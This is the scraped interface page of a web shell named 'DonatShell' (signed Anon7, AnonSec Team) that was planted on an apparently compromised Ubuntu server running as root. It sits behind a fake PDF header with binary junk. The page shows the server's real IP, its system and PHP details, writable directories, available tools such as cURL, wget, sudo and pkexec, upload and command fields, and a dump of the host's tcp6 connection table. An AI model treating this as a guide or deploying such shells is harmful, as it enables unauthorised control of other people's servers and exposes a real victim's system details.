%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/139/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/139/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:2710 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 38019 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 36378 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:07D2 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28917 1 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 36382 1 0000000000000000 100 0 0 10 0
   4: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:BE10 01 00000000:00000000 02:000B0062 00000000    33        0 1935721 2 0000000000000000 68 4 23 10 -1
   5: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:B14D 01 00000000:00000000 02:000B0062 00000000    33        0 1986344 2 0000000000000000 60 4 13 10 -1
   6: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:7021 01 00000000:00000000 02:000B0062 00000000    33        0 1986339 2 0000000000000000 55 4 1 10 -1
   7: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:1448 01 00000BA9:00000000 01:00000028 00000000    33        0 1986346 3 0000000000000000 49 4 1 10 -1
   8: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000050CFAB14:8458 01 00000000:00000000 02:000AF395 00000000    33        0 1985385 2 0000000000000000 41 4 29 10 7
   9: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:3BC2 01 00000000:00000000 02:000B0062 00000000    33        0 1961872 2 0000000000000000 79 4 29 10 -1
  10: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:3539 01 00000000:00000000 02:000B0062 00000000    33        0 1985414 2 0000000000000000 72 4 21 10 -1
  11: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:7E43 01 00000000:00000000 02:000B0062 00000000    33        0 1986343 4 0000000000000000 50 4 3 10 -1
  12: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:C491 01 00000000:00000000 02:000B0062 00000000    33        0 1989695 2 0000000000000000 53 4 3 10 -1
  13: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:A4DE 01 00000000:00000000 02:000B0062 00000000    33        0 1988157 2 0000000000000000 53 4 1 10 -1
  14: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:9F01 01 00000000:00000000 02:000B0062 00000000    33        0 1871341 3 0000000000000000 71 4 29 10 -1
  15: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:8C8E 01 00000000:00000000 02:000B0062 00000000    33        0 1988163 2 0000000000000000 71 4 23 10 -1
  16: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:35FE 01 00000000:00000000 02:000B0062 00000000    33        0 1695739 2 0000000000000000 78 4 29 10 -1
  17: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:9EF6 01 0000127D:00000000 01:00000026 00000000    33        0 1961871 3 0000000000000000 54 4 1 10 -1
  18: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:ECE0 01 00000C7E:00000000 01:0000001E 00000000    33        0 1876237 3 0000000000000000 84 4 23 10 -1
  19: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:CF4B 01 00000000:00000000 02:000B0062 00000000    33        0 1988161 2 0000000000000000 66 4 19 10 -1
  20: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:3E7D 01 00000000:00000000 02:000B0062 00000000    33        0 1988166 2 0000000000000000 77 4 27 10 -1
  21: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:A7D5 01 00000000:00000000 02:000B0062 00000000    33        0 1876238 2 0000000000000000 83 4 28 10 -1
  22: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:AD7A 01 00000000:00000000 02:000B0062 00000000    33        0 1933654 2 0000000000000000 78 4 29 10 -1
  23: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:4AC7 01 00000000:00000000 02:000B0062 00000000    33        0 1808372 3 0000000000000000 80 4 25 10 -1

Anon7 - 2022
AnonSec Team